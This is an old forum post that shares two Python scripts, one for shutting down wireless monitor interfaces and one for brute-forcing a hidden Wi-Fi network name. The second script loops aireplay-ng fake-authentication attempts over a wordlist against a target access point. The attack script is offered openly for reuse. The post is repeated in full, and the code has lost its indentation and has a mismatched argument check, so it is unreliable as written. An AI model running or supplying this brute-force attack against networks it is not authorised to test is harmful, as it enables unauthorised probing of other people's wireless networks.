Scamentology
11-09-2011, 08:15 AM
I only wrote one of these scripts but did add airmon-ng support to the one I didn't.
The hidden SSID brute force attack is demonstrated in the video below as part of a broader framework.
Skip ahead to 2:44 for the hidden SSID demo.
Sorry there is no awesome music to jam out to.
http://vimeo.com/31786626 Comments on video will be appreciated
The script parts (not the frameword) are below... (I just started messing around with Python so this is an experiment)
Might be useful to someone
Kill all monitor interfaces
#!/usr/bin/python
import subprocess
import sys, binascii, re
from subprocess import Popen, PIPE
# read the file /proc/net/dev
f = open('/proc/net/dev','r')
# write to list
ifacelist = f.read().split('\n')
# close the file
f.close()
# remove first 2 lines
ifacelist.pop(0)
ifacelist.pop(0)
for line in ifacelist:
ifacedata = line.replace(' ','').split(':')
# narrow down selection
if len(ifacedata) == 2:
# verify interface is up
if int(ifacedata[1]) > 0:
# find iface (add list function)
string = ifacedata[0]
if string in ('mon0', 'mon1', 'mon2', 'mon3', 'mon4', 'ath0', 'ath1'):
print '\nmonitor interface found - Putting it down'
for temp in ifacedata:
subprocess.call(["airmon-ng", "stop", temp])
brute hidden ssid script
#!/usr/bin/python
# script created by Tony 'albatr0ss' Di Bernardo, October 2011
# you are free to re-use the code as long as you give credit to the author in you works
import subprocess
import sys, binascii, re
from subprocess import Popen, PIPE
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def disable(self):
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.WARNING = ''
self.FAIL = ''
self.ENDC = ''
if (len(sys.argv) < 3):
print 'Usage: ' + sys.argv[0] + ' bssid essid_list channel interface'
sys.exit(-1)
bssid = sys.argv[1]
essid_list = sys.argv[2]
channel = sys.argv[3]
interface = sys.argv[4]
subprocess.call(["airmon-ng", "start", interface, channel])
print 'Searching name for Access Point ' + bssid + ' using file ' + essid_list
f = open(essid_list, 'r')
for temp in f:
essid = re.sub(r'\W+','', temp)
print 'Trying Essid: ' + essid
c = Popen(['aireplay-ng', '--fakeauth', '0', '-T 1','-a', bssid, '-e', essid, 'mon0'], stdout=PIPE)
output = c.stdout.read()
finalresult = output.split('\n')[6]
if finalresult.find('Association successful') != -1 :
print bcolors.WARNING + '\nFound! Access Point ' + bssid + ' Essid is ' + essid + bcolors.ENDC
subprocess.call(["airmon-ng", "stop", "mon0",])
sys.exit(0)
print bcolors.FAIL + '\nEssid not in file ' + essid_list + ' for Access Point ' + bssid + bcolors.ENDC
The hidden SSID brute force attack is demonstrated in the video below as part of a broader framework.
Skip ahead to 2:44 for the hidden SSID demo.
Sorry there is no awesome music to jam out to.
http://vimeo.com/31786626 Comments on video will be appreciated
The script parts (not the frameword) are below... (I just started messing around with Python so this is an experiment)
Might be useful to someone
Kill all monitor interfaces
#!/usr/bin/python
import subprocess
import sys, binascii, re
from subprocess import Popen, PIPE
# read the file /proc/net/dev
f = open('/proc/net/dev','r')
# write to list
ifacelist = f.read().split('\n')
# close the file
f.close()
# remove first 2 lines
ifacelist.pop(0)
ifacelist.pop(0)
for line in ifacelist:
ifacedata = line.replace(' ','').split(':')
# narrow down selection
if len(ifacedata) == 2:
# verify interface is up
if int(ifacedata[1]) > 0:
# find iface (add list function)
string = ifacedata[0]
if string in ('mon0', 'mon1', 'mon2', 'mon3', 'mon4', 'ath0', 'ath1'):
print '\nmonitor interface found - Putting it down'
for temp in ifacedata:
subprocess.call(["airmon-ng", "stop", temp])
brute hidden ssid script
#!/usr/bin/python
# script created by Tony 'albatr0ss' Di Bernardo, October 2011
# you are free to re-use the code as long as you give credit to the author in you works
import subprocess
import sys, binascii, re
from subprocess import Popen, PIPE
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def disable(self):
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.WARNING = ''
self.FAIL = ''
self.ENDC = ''
if (len(sys.argv) < 3):
print 'Usage: ' + sys.argv[0] + ' bssid essid_list channel interface'
sys.exit(-1)
bssid = sys.argv[1]
essid_list = sys.argv[2]
channel = sys.argv[3]
interface = sys.argv[4]
subprocess.call(["airmon-ng", "start", interface, channel])
print 'Searching name for Access Point ' + bssid + ' using file ' + essid_list
f = open(essid_list, 'r')
for temp in f:
essid = re.sub(r'\W+','', temp)
print 'Trying Essid: ' + essid
c = Popen(['aireplay-ng', '--fakeauth', '0', '-T 1','-a', bssid, '-e', essid, 'mon0'], stdout=PIPE)
output = c.stdout.read()
finalresult = output.split('\n')[6]
if finalresult.find('Association successful') != -1 :
print bcolors.WARNING + '\nFound! Access Point ' + bssid + ' Essid is ' + essid + bcolors.ENDC
subprocess.call(["airmon-ng", "stop", "mon0",])
sys.exit(0)
print bcolors.FAIL + '\nEssid not in file ' + essid_list + ' for Access Point ' + bssid + bcolors.ENDC